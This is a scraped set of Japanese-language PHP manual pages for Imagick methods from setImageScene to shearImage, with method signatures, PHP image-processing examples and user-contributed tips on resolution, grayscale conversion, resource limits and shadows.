This method uses the ImageMagick "-density {$x_resolution}x{$y_resolution}" parameter


画像のシーンを設定する

  • ≪ Imagick::setImageResolution
  • Imagick::setImageTicksPerSecond ≫
  • PHP Manual
  • Imagick
  • 画像のシーンを設定する

Imagick::setImageScene

(PECL imagick 2, PECL imagick 3)

Imagick::setImageScene — 画像のシーンを設定する

説明

public Imagick::setImageScene ( int $scene ) : bool

画像のシーンを設定します。

パラメータ

scene

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の ticks-per-second を設定する

  • ≪ Imagick::setImageScene
  • Imagick::setImageType ≫
  • PHP Manual
  • Imagick
  • 画像の ticks-per-second を設定する

Imagick::setImageTicksPerSecond

(PECL imagick 2, PECL imagick 3)

Imagick::setImageTicksPerSecond — 画像の ticks-per-second を設定する

説明

public Imagick::setImageTicksPerSecond ( int $ticks_per_second ) : bool

アニメーション画像のフレームを表示する時間を調整します。

注意:

アニメーション GIF の場合、この関数は秒間の 'image ticks' の数は変更しません。常に 100 です。 そのかわりに、'ticks per second' を変更し、フレームを表示する時間を変更したように見せます。

たとえば、各フレームを 20 ticks (1/5 秒) ずつ表示させるようにしているアニメーション GIF に対して、この関数の引数に 50 を渡して呼び出すと、 各フレームの表示時間を 40 ticks (2/5 秒) に変更します。 その結果、元の半分の速さで表示されるようになります。

パラメータ

ticks_per_second

画像を表示させる時間を ticks per second で表した値。

返り値

成功した場合に true を返します。

例

例1 Imagick::setImageTicksPerSecond() によるアニメーション GIF の変更

<?php

// アニメーション GIF の前半の再生スピードを元の半分に、
// そして後半の再生スピードを元の倍にします。

$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$totalFrames = $imagick->getNumberImages();

$frameCount = 0;

foreach ($imagick as $frame) {
    $imagick->setImageTicksPerSecond(50);

    if ($frameCount < ($totalFrames / 2)) {
        // フレームの表示時間を元の二倍にします
        $imagick->setImageTicksPerSecond(50);
    } else {
        // フレームの表示時間を元の半分にします
        $imagick->setImageTicksPerSecond(200);
    }

    $frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の型を設定する

  • ≪ Imagick::setImageTicksPerSecond
  • Imagick::setImageUnits ≫
  • PHP Manual
  • Imagick
  • 画像の型を設定する

Imagick::setImageType

(PECL imagick 2, PECL imagick 3)

Imagick::setImageType — 画像の型を設定する

説明

public Imagick::setImageType ( int $image_type ) : bool

画像の型を設定します。

パラメータ

image_type

返り値

成功した場合に true を返します。

User Contributed Notes

Simon J 24-Mar-2020 12:55
The different image types that can be specified are (from the Imagick::getImageType doc page):

    Imagick::IMGTYPE_UNDEFINED
    Imagick::IMGTYPE_BILEVEL
    Imagick::IMGTYPE_GRAYSCALE
    Imagick::IMGTYPE_GRAYSCALEMATTE
    Imagick::IMGTYPE_PALETTE
    Imagick::IMGTYPE_PALETTEMATTE
    Imagick::IMGTYPE_TRUECOLOR
    Imagick::IMGTYPE_TRUECOLORMATTE
    Imagick::IMGTYPE_COLORSEPARATION
    Imagick::IMGTYPE_COLORSEPARATIONMATTE
    Imagick::IMGTYPE_OPTIMIZE

The MATTE variants are equivalent to GrayscaleAlpha, etc. in the ImageMagick command line. If you're making something grayscale, I would recommend using IMGTYPE_GRAYSCALEMATTE.

<?php

$im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);

?>
quickshiftin at gmail dot com 04-Oct-2014 06:29
The cleaner way to set the type to grayscale is to use the Imagick class constant.

$oBw = new \Imagick($sSourceImage);
$oBw->setImageType(\Imagick::IMGTYPE_GRAYSCALE);

I've found this to be a rather harsh 'convert to grayscale' approach. Fred's color2gray script works much better, but it's written in Bash. Time to get it ported over lol

http://www.fmwconcepts.com/imagemagick/color2gray/index.php
lee dot traynor at skeptic dot de 19-Oct-2011 01:37
This function can be used to desaturate an image, i.e. to convert a coloured image into a greyscale:

<?php

$im = new Imagick ("image.jpg");
$im->setImageType (2);
//is now in 256 shades of grey

?>


画像の解像度の単位を設定する

  • ≪ Imagick::setImageType
  • Imagick::setImageVirtualPixelMethod ≫
  • PHP Manual
  • Imagick
  • 画像の解像度の単位を設定する

Imagick::setImageUnits

(PECL imagick 2, PECL imagick 3)

Imagick::setImageUnits — 画像の解像度の単位を設定する

説明

public Imagick::setImageUnits ( int $units ) : bool

画像の解像度の単位を設定します。

パラメータ

units

返り値

成功した場合に true を返します。

User Contributed Notes

euperia at gmail dot com 07-Nov-2012 08:20
You should use the PHP Imagick constants to correctly set the Image Units, as described here:

http://www.php.net/manual/en/imagick.constants.php

RESOLUTION constants

imagick::RESOLUTION_UNDEFINED (integer)
imagick::RESOLUTION_PIXELSPERINCH (integer)
imagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
salomonsanz at gmail dot com 08-Dec-2008 12:56
$source = 'miphoto.jpg';
$imagick = new Imagick($source);
$imagick -> setImageUnits(2);
//0=undefined, 1=pixelsperInch, 2=PixelsPerCentimeter
$info = $imagick -> identifyImage();
print_r($info);
//ouput
/*
Array
(
[units] => PixelsPerCentimeter
)


画像の仮想ピクセルメソッドを設定する

  • ≪ Imagick::setImageUnits
  • Imagick::setImageWhitePoint ≫
  • PHP Manual
  • Imagick
  • 画像の仮想ピクセルメソッドを設定する

Imagick::setImageVirtualPixelMethod

(PECL imagick 2, PECL imagick 3)

Imagick::setImageVirtualPixelMethod — 画像の仮想ピクセルメソッドを設定する

説明

public Imagick::setImageVirtualPixelMethod ( int $method ) : bool

画像の仮想ピクセルメソッドを設定します。

パラメータ

method

返り値

成功した場合に true を返します。

User Contributed Notes

m dot junaidahmad at outlook dot com 28-Jul-2017 06:10
<?php

  $im = new \Imagick();

        /* read image (914x784)*/

     $im->readImage($_SERVER['DOCUMENT_ROOT']."/pathtoimage/".$inputfront);

        $im->setImageBackgroundColor(new \ImagickPixel('transparent'));  /* sets backgound to none (transparent) */

        $im->setImageVirtualPixelMethod(1); /* this is equal to -virtual-pixel background (in imagemagick) */

   /* Control points for the distortion */

        $controlPoints = array( 0,0,
            280,0,

            994,0,
            914,50,

            994,862,
            784,842,

            0,862,
            110,762);

        /* Perform the distortion */
        $im->distortImage(\Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

        /* Ouput the image */
        $output_front_distort="Projects/".$userid."/".$projectid."/distorted_book.png";

       header("Content-Type: image/png");
        $im->writeImage($_SERVER['DOCUMENT_ROOT']."/designerr/public/".$output_front_distort);

?>


画像の色度が白い点を設定する

  • ≪ Imagick::setImageVirtualPixelMethod
  • Imagick::setInterlaceScheme ≫
  • PHP Manual
  • Imagick
  • 画像の色度が白い点を設定する

Imagick::setImageWhitePoint

(PECL imagick 2, PECL imagick 3)

Imagick::setImageWhitePoint — 画像の色度が白い点を設定する

説明

public Imagick::setImageWhitePoint ( float $x , float $y ) : bool

画像の色度が白い点を設定します。

パラメータ

x

y

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の圧縮を設定する

  • ≪ Imagick::setImageWhitePoint
  • Imagick::setIteratorIndex ≫
  • PHP Manual
  • Imagick
  • 画像の圧縮を設定する

Imagick::setInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::setInterlaceScheme — 画像の圧縮を設定する

説明

public Imagick::setInterlaceScheme ( int $interlace_scheme ) : bool

画像の圧縮を設定します。

パラメータ

interlace_scheme

返り値

成功した場合に true を返します。

User Contributed Notes

hayvanAdam 12-May-2008 03:24
save progressive jpeg

<?php

$image = new Imagick('image.jpg');
$image->thumbnailImage(500, 0);

$image->setInterlaceScheme(Imagick::INTERLACE_PLANE);

$image->writeImage('progressive.jpg');

?>


イテレータの位置を設定する

  • ≪ Imagick::setInterlaceScheme
  • Imagick::setLastIterator ≫
  • PHP Manual
  • Imagick
  • イテレータの位置を設定する

Imagick::setIteratorIndex

(PECL imagick 2, PECL imagick 3)

Imagick::setIteratorIndex — イテレータの位置を設定する

説明

public Imagick::setIteratorIndex ( int $index ) : bool

イテレータの位置を、画像リスト内の index で指定した位置に設定します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

index

イテレータを設定する場所。

返り値

成功した場合に true を返します。

例

例1 Imagick::setIteratorIndex() の使用法

画像を作成し、インデックスを設定して取得します。

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

参考

  • Imagick::getIteratorIndex() - 現在アクティブな画像のインデックスを取得する
  • Imagick::getImageIndex() - 現在アクティブな画像のインデックスを取得する
  • Imagick::setImageIndex() - イテレータの位置を設定する

User Contributed Notes

wilcobeekhuizen at gmail dot com 14-Mar-2011 10:06
This function returns true on success but setting the iterator to an invalid index throws an exception instead of returning false:
Fatal error: Uncaught exception 'ImagickException' with message 'Unable to set iterator index'

This can happen when counting images inside a gif file, because the iterator count starts at zero and not one. If you count the number of images in a gif file be sure to use iterator 0 for the first image, like this:

<?php
$image = new Imagick('simple.gif');
$image->setIteratorIndex(0);
?>


Imagick イテレータを最後の画像に設定する

  • ≪ Imagick::setIteratorIndex
  • Imagick::setOption ≫
  • PHP Manual
  • Imagick
  • Imagick イテレータを最後の画像に設定する

Imagick::setLastIterator

(PECL imagick 2 >= 2.0.1, PECL imagick 3)

Imagick::setLastIterator — Imagick イテレータを最後の画像に設定する

説明

public Imagick::setLastIterator ( ) : bool

Imagick イテレータを最後の画像に設定します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


オプションを設定する

  • ≪ Imagick::setLastIterator
  • Imagick::setPage ≫
  • PHP Manual
  • Imagick
  • オプションを設定する

Imagick::setOption

(PECL imagick 2, PECL imagick 3)

Imagick::setOption — オプションを設定する

説明

public Imagick::setOption ( string $key , string $value ) : bool

ひとつあるいは複数のオプションを設定します。

パラメータ

key

value

返り値

成功した場合に true を返します。

例

例1 Attempt to reach '$extent' sizeImagick::setOption()

<?php
    function renderJPG($extent) {
        $imagePath = $this->control->getImagePath();
        $imagick = new \Imagick(realpath($imagePath));
        $imagick->setImageFormat('jpg');
        $imagick->setOption('jpeg:extent', $extent);
        header("Content-Type: image/jpg");
        echo $imagick->getImageBlob();
    }

?>

例2 Imagick::setOption()

<?php
    function renderPNG($imagePath, $format) {

        $imagick = new \Imagick(realpath($imagePath));
        $imagick->setImageFormat('png');
        $imagick->setOption('png:format', $format);
        header("Content-Type: image/png");
        echo $imagick->getImageBlob();
    }

    //Save as 64bit PNG.
    renderPNG($imagePath, 'png64');

?>

例3 Imagick::setOption()

<?php
    function renderCustomBitDepthPNG() {
        $imagePath = $this->control->getImagePath();
        $imagick = new \Imagick(realpath($imagePath));
        $imagick->setImageFormat('png');

        $imagick->setOption('png:bit-depth', '16');
        $imagick->setOption('png:color-type', 6);
        header("Content-Type: image/png");
        $crash = true;
        if ($crash) {
            echo $imagick->getImageBlob();
        }
        else {
            $tempFilename = tempnam('./', 'imagick');
            $imagick->writeimage(realpath($tempFilename));
            echo file_get_contents($tempFilename);
        }
    }

?>

User Contributed Notes

SkepticaLee 29-Mar-2020 07:17
Actually setImageArtifact () can be used if setOption () fails, e.g.

$im->setImageartifact ("distort:viewport", "960x540+0-151");

Or maybe setOption () is deprecated.
kicha at kreker dot org 24-Sep-2015 02:48
List of options (with key => value) on official imagemagick site:
http://www.imagemagick.org/script/command-line-options.php#define
alexandre at gaigalas dot net 11-Jul-2011 02:43
If you want to extract a preview from a PDF file using the CropBox instead of the whole document, setOption() is the right method:

<?php
$handler = new Imagick();
$handler->setOption('pdf:use-cropbox', 'true');
$handler->readImage($imageFileName);
$handler->thumbnailImage(200, 200, true);
$handler->setImageFormat('jpeg');
$handler->writeImage($destThumbFileName);
?>

It is the equivalent to the -define pdf:use-cropbox=true for the convert command line tool. pdf:use-trimbox is also available.

Note that on my environment the setOption only worked when i called it before the readImage method, which means that you can't pass the filename to the Imagick constructor directly.


Imagick オブジェクトのページジオメトリを設定する

  • ≪ Imagick::setOption
  • Imagick::setPointSize ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトのページジオメトリを設定する

Imagick::setPage

(PECL imagick 2, PECL imagick 3)

Imagick::setPage — Imagick オブジェクトのページジオメトリを設定する

説明

public Imagick::setPage ( int $width , int $height , int $x , int $y ) : bool

Imagick オブジェクトのページジオメトリを設定します。

パラメータ

width

height

x

y

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


ポイントサイズを設定する

  • ≪ Imagick::setPage
  • Imagick::setProgressMonitor ≫
  • PHP Manual
  • Imagick
  • ポイントサイズを設定する

Imagick::setPointSize

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setPointSize — ポイントサイズを設定する

説明

public Imagick::setPointSize ( float $point_size ) : bool

オブジェクトのポイントサイズプロパティを設定します。このメソッドは、 caption: pseudo-format のフォントサイズを設定するときなどに使います。 このメソッドは、ImageMagick バージョン 6.3.7 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

point_size

ポイントサイズ。

返り値

成功した場合に true を返します。

参考

  • Imagick::getPointSize() - ポイントサイズを取得する

例

例1 Imagick::setPointSize() の例

Imagick::setPointSize の使用例です。

<?php
/* 新しい imagick オブジェクトを作ります */
$im = new Imagick();

/* オブジェクトのフォントを設定します */
$im->setFont("example.ttf");

/* ポイントサイズを設定します */
$im->setPointSize(12);

/* 新しいキャプションを作ります */
$im->newPseudoImage(100, 100, "caption:Hello");

/* 画像に対して何かの処理をします */
?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::setPointSize
  • Imagick::setRegistry ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::setProgressMonitor

(PECL imagick 3 >= 3.3.0)

Imagick::setProgressMonitor — Description

説明

public Imagick::setProgressMonitor ( callable $callback ) : bool

Set a callback that will be called during the processing of the Imagick image.

パラメータ

callback

The progress function to call. It should return true if image processing should continue, or false if it should be cancelled. The offset parameter indicates the progress and the span parameter indicates the total amount of work needed to be done.

callback ( mixed $offset , mixed $span ) : bool
警告

The values passed to the callback function are not consistent. In particular the span parameter can increase during image processing. Because of this calculating the percentage complete of an image operation is not trivial.

返り値

成功した場合に true を返します。

例

例1 Imagick::setProgressMonitor()

<?php
        $abortReason = null;

        try {
            $imagick = new \Imagick(realpath($this->control->getImagePath()));
            $startTime = time();

            $callback = function ($offset, $span)  use ($startTime, &$abortReason) {
                if (((100 * $offset) / $span)  > 20) {
                    $abortReason = "Processing reached 20%";
                    return false;
                }

                $nowTime = time();

                if ($nowTime - $startTime > 5) {
                    $abortReason = "Image processing took more than 5 seconds";
                    return false;
                }
                if (($offset % 5) == 0) {
                    echo "Progress: $offset / $span <br/>";
                }
                return true;
            };

            $imagick->setProgressMonitor($callback);

            $imagick->waveImage(2, 15);

            echo "Data len is: ".strlen($imagick->getImageBlob());
        }
        catch(\ImagickException $e) {
            if ($abortReason != null) {
                echo "Image processing was aborted: ".$abortReason."<br/>";
            }
            else {
                echo "ImagickException caught: ".$e->getMessage()." Exception type is ".get_class($e);
            }
        }

?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::setProgressMonitor
  • Imagick::setResolution ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::setRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::setRegistry — Description

説明

public static Imagick::setRegistry ( string $key , string $value ) : bool

Sets the ImageMagick registry entry named key to value. This is most useful for setting "temporary-path" which controls where ImageMagick creates temporary images e.g. while processing PDFs.

パラメータ

key

value

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像の解像度を設定する

  • ≪ Imagick::setRegistry
  • Imagick::setResourceLimit ≫
  • PHP Manual
  • Imagick
  • 画像の解像度を設定する

Imagick::setResolution

(PECL imagick 2, PECL imagick 3)

Imagick::setResolution — 画像の解像度を設定する

説明

public Imagick::setResolution ( float $x_resolution , float $y_resolution ) : bool

画像の解像度を設定します。

パラメータ

x_resolution

水平方向の解像度。

y_resolution

垂直方向の解像度。

返り値

成功した場合に true を返します。

注意

Imagick::setResolution() は、画像の読み込みや作成の前に呼ぶ必要があります。

参考

  • Imagick::setImageResolution() - 画像の解像度を設定する
  • Imagick::getImageResolution() - 画像の X 方向と Y 方向の解像度を取得する

User Contributed Notes

carter dot sharon at gmail dot com 11-Oct-2010 11:07
If you are reading or creating a new image and want to set the resolution you need to set the Image Units. Undefined image units will cause imagick to use the default resolution (72x72).

<?php
$img = new Imagick();

$img->setResolution(300,300);
$img->newimage(100,100,'none');
$img->setImageFormat('png');
// imagick::RESOLUTION_UNDEFINED  imagick::RESOLUTION_PIXELSPERINCH  imagick::RESOLUTION_PIXELSPERCENTIMETER

$img->setImageUnits(imagick::RESOLUTION_PIXELSPERINCH);

print_r($img->identifyImage());

?>

Output
Array (
[resolution] => Array ( [x] => 300 [y] => 300 )
[units] => PixelsPerInch
)
sualk at lednew dot de 07-Jan-2010 06:50
This method uses the "convert -density {$x_resolution}x{$y_resolution}" parameter. However be aware, that Imagick::setResolution() is much more alike the "convert -density" option than Imagick::setImageResolution()

It's very irritating that both Imagick::setResolution() and Imagick::setImageResolution() are introduced with "Sets the image resolution."

Use Imagick::setResolution() prior to reading a raster image. This method does not affect an image. However this method tells the image to which size it has to be sized in relation to images inherent resolution! With this method you are able to affect the real pixel-size of an image after reading. E.g. your image has a size of 100x100 pixels and an inherent resolution of 72. Setting the Resolution to 144 and reading this image results in a new image size of 200x200 pixels.

<?php
$im = new Imagick();
$im->setResolution(144,144);
$im->readImage("test.eps");
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

Use Imagick::setImageResolution() to alter the resolution of an already read image. This method does not actually change the size of an image, but has influence to methods, which depends on a given image resolution like Imagick::resampleImage(). E.g. your image has a size of 100x100 pixels and a resolution of 72. Setting ImageResolution to 144 does nothing, unless you are resampling image afterwards in relation to the ImageResolution you set!

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(144,144);
$im->resampleImage  (288,288,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

which actually does the same like

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(72,72);
$im->resampleImage  (144,144,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>


特定のリソースの制限を設定する

  • ≪ Imagick::setResolution
  • Imagick::setSamplingFactors ≫
  • PHP Manual
  • Imagick
  • 特定のリソースの制限を設定する

Imagick::setResourceLimit

(PECL imagick 2, PECL imagick 3)

Imagick::setResourceLimit — 特定のリソースの制限を設定する

説明

public static Imagick::setResourceLimit ( int $type , int $limit ) : bool

このメソッドを使って、ImageMagick ライブラリのリソース制限を変更します。

パラメータ

type

リソースタイプ定数 のうちのひとつ。 単位は制限されるリソースのタイプに依存します。

limit

リソースの制限。単位は、制限するリソースの種類によって異なります。

返り値

成功した場合に true を返します。

参考

  • Imagick::getResourceLimit() - 指定したリソースの制限を返す

User Contributed Notes

raphael dot droz at gmail dot com 18-Feb-2021 04:01
Here are the RESOURCETYPE actually supported by today:
https://github.com/Imagick/imagick/blob/master/imagick_helpers.c
https://github.com/Imagick/imagick/blob/master/ChangeLog

Added in 3.3:
* Imagick::RESOURCETYPE_TIME
* Imagick::RESOURCETYPE_THROTTLE

Added in 3.2:
* Imagick::RESOURCETYPE_THREAD
Anonymous user 12-May-2014 08:30
Note that the limits are given in bytes instead of megabytes. You can verify with:

<?php echo Imagick::getResourceLimit(Imagick::RESOURCETYPE_MEMORY); ?>
Arkadiy Kulev 13-Feb-2012 11:54
This list should help setting the limits:

imagick::RESOURCETYPE_AREA (integer)   //equivalent of MAGICK_AREA_LIMIT
imagick::RESOURCETYPE_DISK (integer)   //equivalent of MAGICK_DISK_LIMIT
imagick::RESOURCETYPE_FILE (integer)   //equivalent of MAGICK_FILE_LIMIT
imagick::RESOURCETYPE_MAP (integer)    //equivalent of MAGICK_MAP_LIMIT
imagick::RESOURCETYPE_MEMORY (integer) //equivalent of MAGICK_MEMORY_LIMIT
rodneyrehm 08-Nov-2011 12:00
IMagick::RESOURCETYPE_THREADS is missing, yet you're still able to limit the number of thready ImageMagick should use:

<?php
// IMagick::setResourceLimit(IMagick::RESOURCETYPE_THREADS, 2);
IMagick::setResourceLimit(6, 2);


画像のサンプリング係数を設定する

  • ≪ Imagick::setResourceLimit
  • Imagick::setSize ≫
  • PHP Manual
  • Imagick
  • 画像のサンプリング係数を設定する

Imagick::setSamplingFactors

(PECL imagick 2, PECL imagick 3)

Imagick::setSamplingFactors — 画像のサンプリング係数を設定する

説明

public Imagick::setSamplingFactors ( array $factors ) : bool

画像のサンプリング係数を設定します。

パラメータ

factors

返り値

成功した場合に true を返します。

例

例1 Imagick::setSamplingFactors()

<?php
function setSamplingFactors($imagePath) {

    $imagePath = "../imagick/images/FineDetail.png";
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->setImageFormat('jpg');
    $imagick->setSamplingFactors(array('2x2', '1x1', '1x1'));

    $compressed = $imagick->getImageBlob();

    $reopen = new \Imagick();
    $reopen->readImageBlob($compressed);

    $reopen->resizeImage(
        $reopen->getImageWidth() * 4,
        $reopen->getImageHeight() * 4,
        \Imagick::FILTER_POINT,
        1
    );

    header("Content-Type: image/jpg");
    echo $reopen->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Imagick オブジェクトのサイズを設定する

  • ≪ Imagick::setSamplingFactors
  • Imagick::setSizeOffset ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトのサイズを設定する

Imagick::setSize

(PECL imagick 2, PECL imagick 3)

Imagick::setSize — Imagick オブジェクトのサイズを設定する

説明

public Imagick::setSize ( int $columns , int $rows ) : bool

Imagick オブジェクトのサイズを設定します。 RGB や GRAY、CMYK といった生の画像フォーマットを読み込む前に設定します。

パラメータ

columns

rows

返り値

成功した場合に true を返します。

User Contributed Notes

Ade 31-Mar-2017 09:40
This function is not working for me at all.
I am trying to generate Images from a PDF and this function does literally NOTHING, even it returns 'true'.....
Mike Pratt 25-Sep-2012 05:48
Using setSize before reading an image file tells ImageMagick to resize the image immediately on load - this can give a substantial increase in performance time and save memory and disk resources for large images:

<?php

$image = new Imagick();
$image->setSize(800,600);
$image->readImage($file);

?>

This might also save you having to call thumbnailImage to resize the image.

On my server, this only made a difference with jpgs - pngs and gifs were loaded at full size which took much longer (30s or more compared to 6s for a similar sized jpg).


Imagick オブジェクトのサイズのオフセットを設定する

  • ≪ Imagick::setSize
  • Imagick::setType ≫
  • PHP Manual
  • Imagick
  • Imagick オブジェクトのサイズのオフセットを設定する

Imagick::setSizeOffset

(PECL imagick 2, PECL imagick 3)

Imagick::setSizeOffset — Imagick オブジェクトのサイズのオフセットを設定する

説明

public Imagick::setSizeOffset ( int $columns , int $rows , int $offset ) : bool

Imagick オブジェクトのサイズとオフセットを設定します。 RGB や GRAY、CMYK といった生の画像フォーマットを読み込む前に設定します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

columns

幅 (ピクセル単位)。

rows

高さ (ピクセル単位)。

offset

画像のオフセット。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像タイプ属性を設定する

  • ≪ Imagick::setSizeOffset
  • Imagick::shadeImage ≫
  • PHP Manual
  • Imagick
  • 画像タイプ属性を設定する

Imagick::setType

(PECL imagick 2, PECL imagick 3)

Imagick::setType — 画像タイプ属性を設定する

説明

public Imagick::setType ( int $image_type ) : bool

画像タイプ属性を設定します。

パラメータ

image_type

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


3D 効果を作成する

  • ≪ Imagick::setType
  • Imagick::shadowImage ≫
  • PHP Manual
  • Imagick
  • 3D 効果を作成する

Imagick::shadeImage

(PECL imagick 2, PECL imagick 3)

Imagick::shadeImage — 3D 効果を作成する

説明

public Imagick::shadeImage ( bool $gray , float $azimuth , float $elevation ) : bool

遠くから光をあてているように見せる三次元効果を作成します。 光源の位置は azimuth と elevation で指定します。 azimuth は x 軸方向の角度で、elevation は Z 軸上のピクセル数です。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

gray

ゼロ以外の値で、各ピクセルに影をつけます。

azimuth

光源の方向を定義します。

elevation

光源の方向を定義します。

返り値

成功した場合に true を返します。

エラー / 例外

失敗した場合に ImagickException をスローします。

例

例1 Imagick::shadeImage()

<?php
function shadeImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->shadeImage(true, 45, 20);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の影をシミュレートする

  • ≪ Imagick::shadeImage
  • Imagick::sharpenImage ≫
  • PHP Manual
  • Imagick
  • 画像の影をシミュレートする

Imagick::shadowImage

(PECL imagick 2, PECL imagick 3)

Imagick::shadowImage — 画像の影をシミュレートする

説明

public Imagick::shadowImage ( float $opacity , float $sigma , int $x , int $y ) : bool

画像の影をシミュレートします。

パラメータ

opacity

sigma

x

y

返り値

成功した場合に true を返します。

例

例1 Imagick::shadowImage()

<?php
function shadowImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->shadowImage(0.4, 10, 50, 5);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

nilayanand at gmail dot com 27-Jul-2009 10:43
<?php
/* Read the image into the object */
$im = new Imagick( 'a.jpg' );
$im->setImageFormat("png");

/* Make the image a little smaller, maintain aspect ratio */
$im->thumbnailImage( 200, null );

/* Clone the current object */
$shadow = $im->clone();

/* Set image background color to black
        (this is the color of the shadow) */
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

/* Create the shadow */
$shadow->shadowImage( 80, 3, 5, 5 );

/* Imagick::shadowImage only creates the shadow.
        That is why the original image is composited over it */
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Display the image */
header( "Content-Type: image/jpeg" );
echo $shadow;
?>


画像をシャープにする

  • ≪ Imagick::shadowImage
  • Imagick::shaveImage ≫
  • PHP Manual
  • Imagick
  • 画像をシャープにする

Imagick::sharpenImage

(PECL imagick 2, PECL imagick 3)

Imagick::sharpenImage — 画像をシャープにする

説明

public Imagick::sharpenImage ( float $radius , float $sigma , int $channel = Imagick::CHANNEL_DEFAULT ) : bool

画像をシャープにします。指定した半径と標準偏差 (シグマ) によるガウス演算を施します。適切な結果を得るには、 半径をシグマより大きくする必要があります。半径を 0 に指定すると、適切な半径を Imagick::sharpenImage() が自動的に設定します。

パラメータ

radius

sigma

channel

返り値

成功した場合に true を返します。

例

例1 Imagick::sharpenImage()

<?php
function sharpenImage($imagePath, $radius, $sigma, $channel) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->sharpenimage($radius, $sigma, $channel);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像の輪郭からピクセルを刈り取る

  • ≪ Imagick::sharpenImage
  • Imagick::shearImage ≫
  • PHP Manual
  • Imagick
  • 画像の輪郭からピクセルを刈り取る

Imagick::shaveImage

(PECL imagick 2, PECL imagick 3)

Imagick::shaveImage — 画像の輪郭からピクセルを刈り取る

説明

public Imagick::shaveImage ( int $columns , int $rows ) : bool

画像の輪郭からピクセルを刈り取ります。 新しい画像に必要なメモリを確保し、新しい画像へのポインタを返します。

パラメータ

columns

rows

返り値

成功した場合に true を返します。

例

例1 Imagick::shaveImage()

<?php
function shaveImage($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->shaveImage(100, 50);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


平行四辺形を作成する

  • ≪ Imagick::shaveImage
  • Imagick::sigmoidalContrastImage ≫
  • PHP Manual
  • Imagick
  • 平行四辺形を作成する

Imagick::shearImage

(PECL imagick 2, PECL imagick 3)

Imagick::shearImage — 平行四辺形を作成する

説明

public Imagick::shearImage ( mixed $background , float $x_shear , float $y_shear ) : bool

画像を X 軸方向あるいは Y 軸方向に押しつぶし、平行四辺形を作成します。 X 方向に押しつぶすと X 軸方向にスライドし、Y 方向に押しつぶすと Y 軸方向にスライドします。押しつぶす量は、角度で指定します。 X 方向に押しつぶす場合、x_shear は Y 軸からの相対角度となります。 同様に、Y 方向に押しつぶす場合は y_shear が X 軸からの相対角度となります。 変形によってできた空白部分は、背景色で埋められます。

パラメータ

background

背景色。

x_shear

x 軸方向に押しつぶす角度。

y_shear

y 軸方向に押しつぶす角度。

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL imagick 2.1.0 | 色を表す文字列を最初のパラメータとして指定できるようになりました。 これまでのバージョンでは ImagickPixel オブジェクトしか指定できませんでした。

例

例1 Imagick::shearImage()

<?php
function shearImage($imagePath, $color, $shearX, $shearY) {
    $imagick = new \Imagick(realpath($imagePath));
    $imagick->shearimage($color, $shearX, $shearY);
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

raja at tweetchennai dot com 13-Aug-2009 05:42
Eg:

<?php
$image = new Imagick('pic.png');
$image ->shearImage('grey', 10 , 5);
$image ->writeImage('final.png');
?>


画像のコントラストを調整する

  • ≪ Imagick::shearImage
  • Imagick::sketchImage ≫
